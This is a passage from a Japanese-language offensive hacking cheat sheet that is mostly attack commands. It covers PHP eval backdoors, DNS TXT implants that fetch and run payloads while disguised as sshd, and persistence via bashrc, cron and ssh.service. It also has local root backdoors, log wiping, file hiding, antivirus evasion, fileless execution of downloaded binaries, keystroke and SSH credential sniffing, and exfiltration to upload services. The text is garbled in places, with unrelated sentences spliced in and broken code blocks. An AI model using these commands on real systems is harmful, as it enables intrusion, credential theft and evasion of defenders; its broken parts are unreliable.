時には system() が禁止されている場合があります。バックアップとしてリモートPHPコード実行を可能にする eval() を追加してください。難読化のために他のbase64コメントの中に隠します:```php
これらのいずれかでトリガーして、コマンドまたはPHPコードを実行します:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
リバースDNSトリガーを使用して、パブリックインターネットからは_アクセスできない_サーバー上で任意のコマンドを実行します。
この行(インプラント)を任意のPHPファイルの先頭に追加してください:```php
インプラントは、ドメイン`b00m.team-teso.net`からのDNS TXTリクエストを介してペイロードを要求します。トリガーされると、`/tmp/.b00m`を作成し、(app.interactsh.comコールバックを介して)THCに通知します。*必ず* ご自身のドメインを使用し、ご自身のペイロードも作成してください。例:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader です。while ループを使用して、より大きなペイロードを DNS 経由でダウンロードおよび実行してください。このインプラントをターゲットの ~/.bashrc または crontab に追加してください(demo-paypload):```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
または、デモペイロードを精巧なペイロードに変更します:
- バックグラウンドデーモンを起動し、1時間ごとにコマンド実行をポーリングします。
- bash、dig、base64のみに依存します。
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups` として隠れます。
- 例では再び `b00m2.team-teso.net` を使用し、毎時間 /tmp/.b00m を作成します。
以下をターゲットのシェルにコピー&ペーストして、1行のインプラントを生成します:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
スクリプトの1行の結果を、ターゲット上の任意の起動スクリプトに追加します(crontab、~/.bashrc、udev、またはExecStartPre=を使用)。以下は、/usr/lib/systemd/system/ssh.service に対する巧妙な例です(さらに難読化を追加しています):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...PERL の場合:
---
同様ですが、perl + bash のみが必要です(dig は不要):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(LouCipher による perl 版に感謝します)
以下をシェルにコピー&ペーストしてください:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
ペイロードを生成します(`egg.py` はターゲット上で実行されます):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
インプラントを生成します(指示に従ってください):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. ローカルルートバックドア**
#### 1. setcap を使用した動的ローダーのバックドア化```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
入力:```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. おなじみの b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. 自己解凍型インプラント**
[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) を使って自己解凍型シェルスクリプトを作成する(ソースの例を参照)。
簡単な例:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
実際の例が最適です:
2. `egg.sh` を `update-for-fools.txt` にリネームし、blobとして[Signalの](https://www.signal.org/) GitHubリポジトリにアップロードする。
3. このコマンドを使ってSignalをアップデートするよう人を騙さないでください ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
ホストに関する必須情報を取得する:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
または```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat/ss/lsof がない場合の netstat:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
システムの速度チェック```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
suid/sgid バイナリをすべて検索:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
書き込み可能なすべてのディレクトリを検索:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
ローカルのパスワードを検索する (noseyparker または trufflehog を使用):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- ~/.*history 内のパスワードを見つけるには [PassDetective](https://github.com/aydinnyunus/PassDetective) を使用する
- 実行中のプロセスから Chrome のパスワードを抽出・復号化するには [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) を使用する (Windows のみ)
- ブラウザからパスワードを抽出するには [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) を使用する
`grep` を使用:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
ファイル内のサブドメインまたはメールアドレスを検索:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. シェルハック
<a id="shred"></a>
**8.i. ファイルのシュレッドと消去**```sh
shred -z foobar.txt
ファイル src/main.rs は、このガイドのコードの実際の動作例のソースコードです。この例のreadmeには、ビルド方法が説明されています。ここでは SDL2 ウィンドウを画面に表示する方法については説明しません。それは既存の SDL2 ドキュメントと重複するためです。
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
注: または、ファイルを */dev/shm* ディレクトリに配置することで、ハードドライブにデータが書き込まれないようにします。データは再起動時に削除されます。
注: または、ファイルを削除してから、ハードドライブ全体を /dev/urandom で満たし、その後ダンプファイルを rm -rf で削除します。
<a id="restore-timestamp"></a>
**8.ii. ファイルの日付を復元する**
*/etc/passwd* を変更したが、ファイルの日付が */etc/passwd* が変更されたことを示しているとします。*touch* を使用して、ファイルの日付を別のファイル(この例では */etc/shadow*)の日付に変更します。```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
hackshell と ctime /etc/passwd を使用して、ctime と birth-time も調整します。
これにより、syslogd などを再起動しなくても、ログファイルを 0 にリセットできます:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
これにより、ログファイルからIP `1.2.3.4` を含む行がすべて削除されます:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
例:```sh
<a id="shell-hide-files"></a>
**8.iv. ルート権限なしでそのユーザーからファイルを隠す**
私たちのお気に入りの作業ディレクトリは */dev/shm/* です。この場所は揮発性メモリであり、再起動すると失われます。NO LOGZ == NO CRIME。
永続ファイルを隠す:
方法 1:```sh
alias ls='ls -I system-dev'
これにより、system-dev ディレクトリが ls コマンドから隠されます。ユーザーの ~/.profile またはシステム全体の /etc/profile に配置してください。
方法 2: 80年代のトリックです。管理者がめったに覗かないディレクトリ(/boot/.X11/.. など)を考えてください:```sh mkdir '...' cd '...'
Method 3:
Unix は 0x00 以外のほぼすべての ASCII 文字をファイル名に使用できます。タブ (*\t*) を試してください。ほとんどの管理者はそのようなディレクトリに cd する方法を知らないことがよくあります。```sh
mkdir $'\t'
cd $'\t'
これは /var/www/cgi/blah.cgi を /boot/backdoor.cgi にリダイレクトします。ファイル blah.cgi は変更または削除できません(アンマウントしない限り)。```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. sudo/su を使わずにユーザーを変更**
X11 セッションのスクリーンショットを撮るために必要(例: `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` または `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
Use UPX to pack an ELF binary (example /bin/id):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
[UPXヘッダー](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S)と2番目のELFヘッダーをクレンジングして、アンチウイルスを欺きます:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
必要に応じて、UPXのシグネチャと痕跡を除去:```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
バイナリがアンパックできないことを確認する:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
オプションで bincrypter を使って暗号化できます。
8.viii. ファイルシステムに触れずにバックドアを展開する
ファイルシステムに書き込まずに、またはすべての書き込み可能な場所が厄介な noexec フラグでマウントされている場合に、バックドアを起動します。
バイナリをメモリに読み込んで実行する Perl ワンライナー(ディスクや /dev/shm や /tmp には一切触れません)。詳細は Hackshell を参照してください。```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
最短の形式は(例):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(tmp.Out氏の見識ある議論と、他者による先行研究に感謝します)
ファイルシステムに書き込まずに gsocket を展開する(例):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
バックドアは、SSH経由でリモートのメモリに直接パイプして実行することもできます:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
リモートでコマンドを一度だけ実行できる場合(PHPエクスプロイトなどを通じて)なら、これがあなたの一行です:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. 暗号
<a id="gen-password"></a>
**9.i. クイックなランダムパスワードを生成**
人間の要素なしでクイックなパスワードを生成するのに適しています。```sh
openssl rand -base64 24
openssl が利用できない場合は、head を使用して /dev/urandom から読み取ることもできます。```sh
head -c 32 < /dev/urandom | xxd -p -c 32
または英数字にしてください```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Linux 可搬型暗号化ファイルシステム - cryptsetup
256MB の暗号化ファイルシステムを作成します。パスワードの入力を求められます。```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
マウント:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
/mnt/crypted にデータを保存し、その後アンマウントします:```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. Linux 可搬型暗号化ファイルシステム - EncFS**
```.sec``` を作成し、暗号化データを ```.raw``` に保存します:```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
アンマウント:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii ファイルの暗号化**
転送する前に、0-Days とログファイルを暗号化してください - お願いします。(そして、自分自身のパスワードを選んでください):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
アクティブサブドメイン列挙 対象組織またはサードパーティDNSプロバイダーが管理するインフラストラクチャを調査するプロセスです。
ゾーン転送 はDNSサーバー間のデータベースレプリケーションに使用された最初のプロトコルでした。一部のDNSサーバーは設定が不十分で、誰からのDNSゾーン転送リクエストにも応答します。ゾーン転送の詳細はこちらを参照してください。ゾーン転送を実行するには以下の
digコマンドを試してください。```sh
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. セッションスニッフィングとハイジャッキング
<a id="session-sniffing"></a>
**10.i ユーザーのSHELLセッションをスニッフィングする**
`~/.bashrc` 用の1行スクリプトで、ユーザーのキーストロークをスニッフィングし、`~/.config/.pty/.@*` に保存します。rootではなく、ユーザーのsudo/ssh/git認証情報を取得する必要がある場合に便利です。
展開: 以下をターゲットにコピー&ペーストし、指示に従ってください:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script が必要です。静的バイナリは pkgforge から取得します。ssh -o "SetEnv LC_PTY=1" でログインします。10.ii dtrace で全 SHELL セッションをスニッフィング - FreeBSD
特に Solaris/SunOS と FreeBSD(pfSense)で役立ちます。カーネルプローブを使用して すべての sshd プロセスをトレースします。
この「D スクリプト」をターゲットシステムに d という名前のファイルとしてコピーします:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
dtrace を起動し、/tmp/.log にログを記録します:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii eBPF で全ての SHELL セッションをスニッフィングする - Linux
eBPF を使用すると、カーネル内の 120,000 以上の関数を安全にフックできます。これは、より優れた "dtrace" のようなものですが、Linux 向けです。```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
私たち自身の [sudo/su/ssh パスワードを傍受する eBPF ツール](https://github.com/hackerschoice/bpfhacks) をぜひチェックしてください。
<a id="ssh-sniffing-strace"></a>
**10.iv strace でユーザーの SSH、bash、SSHD セッションを傍受する**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
また、SSHDプロセスをスニッフィングすることも可能です(sudoパスワードなども取得できます)。代わりに write() 呼び出しをトレースすることに注意してください(sshdがbashにデータを'書き込む'ため):```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
Sniff 7770 (例):```shell
tit write 7770
10.v. ラッパースクリプトでユーザーの送信 SSH セッションをスニッフィングする
/proc/sys/kernel/yama/ptrace_scope が 1 に設定されている場合のさらに汚い方法(strace は実行中の SSH セッションでは失敗します)
セッションをログに記録するために、strace + ssh を実行する 'ssh' というラッパースクリプトを作成します:
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(テストしてくれたGeraldに感謝します)
</details>
次回ユーザーがシェルにログインしてSSHを使用すると、SSHセッションがスニッフィングされ、*~/.ssh/logs/* に記録されます。
<a id="ssh-sniffing-sshit"></a>
**10.vi SSH-ITを使用したユーザーの送信SSHセッションのスニッフィング**
最も簡単な方法は、[https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/) を使用することです。```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
https://github.com/nelhage/reptyr を使用して、既存のSSHセッションを乗っ取ります:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T
---
<a id="vpn-shell"></a>
## 11. VPN とシェル
<a id="shell"></a>
**11.i. 使い捨てルートサーバー**```console
$ ssh [email protected] # Use password 'segfault'
信頼できるVPNプロバイダー
仮想プライベートサーバー。 offshore.cat を確認してください。
その他のKYC不要サービス を参照(.onion)
プロキシ(私たちはこれらを使用していません)
curl -x socks5h://$(PROXY) ipinfo.io - リクエストごとにランダムなプロキシを選択しますその他多数のサービス(無料)
複数の公開データベースからの逆DNS:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }
TLS/THC-IPデータベースからサブドメインを検索:```sh
sub() {
[ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
| OSINTハッカーツール | |
|---|---|
| https://api.c99.nl | 無料: Subdomain Finder、有料: Phone-Lookup、CF Resolver、WAF Detector、IP2Host、その他...年間$25。 |
| https://osint.sh | 無料。Subdomain Finder、DNS History、Public S3 Buckets、Reverse IP、Certificate Search、その他 |
| https://cli.fyi | 無料。多くのサービスへのcurl/jsonインターフェース。curl cli.fyi/me または curl cli.fyi/thc.org を試してください。 |
| https://check-your-website.server-daten.de | 無料。TLS/DNS/セキュリティでドメインをチェック。 |
| https://ipsniper.info/api.html | rDNS/fDNSおよびその他のIP情報ツール |
| https://ip.thc.org | fDNS/rDNSルックアップ: curl -fL ip.thc.org/140.82.121.3 |
| https://hackertarget.com/ip-tools/ | 無料のOSINTサービス(Reverse IP、MTR、ポートスキャン、CMSスキャン、脆弱性スキャン、APIサポート) |
| https://account.shodan.io/billing/tour | 世界中のオープンポートDBとDNSルックアップ |
| https://dnsdumpster.com/ | ドメイン偵察ツール |
| https://crt.sh/ | TLS証明書検索 |
| https://archive.org/web/ | ウェブサイトの履歴ビュー |
| https://www.farsightsecurity.com/solutions/dnsdb/ | DNS検索(無料ではない) |
| https://wigle.net/ | ワイヤレスネットワークマッパー |
| https://radiocells.org/ | 携帯基地局情報 |
| https://www.shodan.io/ | デバイスとバナーを見つける検索エンジン(無料ではない) |
| 探偵向けOSINT | |
|---|---|
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | NixintelのOSINTリソースリスト |
| https://github.com/jivoi/awesome-osint | Awesome OSINTリスト |
| https://cipher387.github.io/osint_stuff_tool_collection/ | OSINTツールコレクション |
| https://osintframework.com/ | 多数のOSINTツール |
| OSINTデータベース | |
|---|---|
| https://data.ddosecrets.com/ | データベースダンプ |
通信
OpSec
exiftool -all= example.pdf example1.jpg ...)エクスプロイト
システム情報収集
curl -fsSL https://thc.org/ws | bash - サーバー上でホストされているすべてのドメインとシステム情報を表示getexploit と入力)バックドア
ネットワークスキャナ
脆弱性スキャナ(注意: これらはすべて99%が悪用不可能な誤検出を出す。どれも酷い。)
DDoS
静的バイナリ / プリコンパイル済みツール
フィッシング
ツール
コールバック / カナリア / コマンド&コントロール
トンネリング
blitz -l / blitz foo.txtexfil と入力curl -T foo.txt https://oshi.atcurl -F'[email protected]' https://0x0.st/curl -T foo.txt https://transfer.shcurl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.phpcroc send foo.txt / croc anit-price-exampleフォーラムとカンファレンス
マインドマップ&知識
*SSH* の例:```sh
rlwrap --always-readline ssh user@host
多くの方法があるが、その一つは次の通り:
---
[Read more](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet)
| https://spur.us/context/me |
IP評価 https://spur.us/context/<IP> |
| http://drs.whoisxmlapi.com | リバースWhoisルックアップ(無料ではない) |
| https://www.abuseipdb.com | IP不正使用評価 |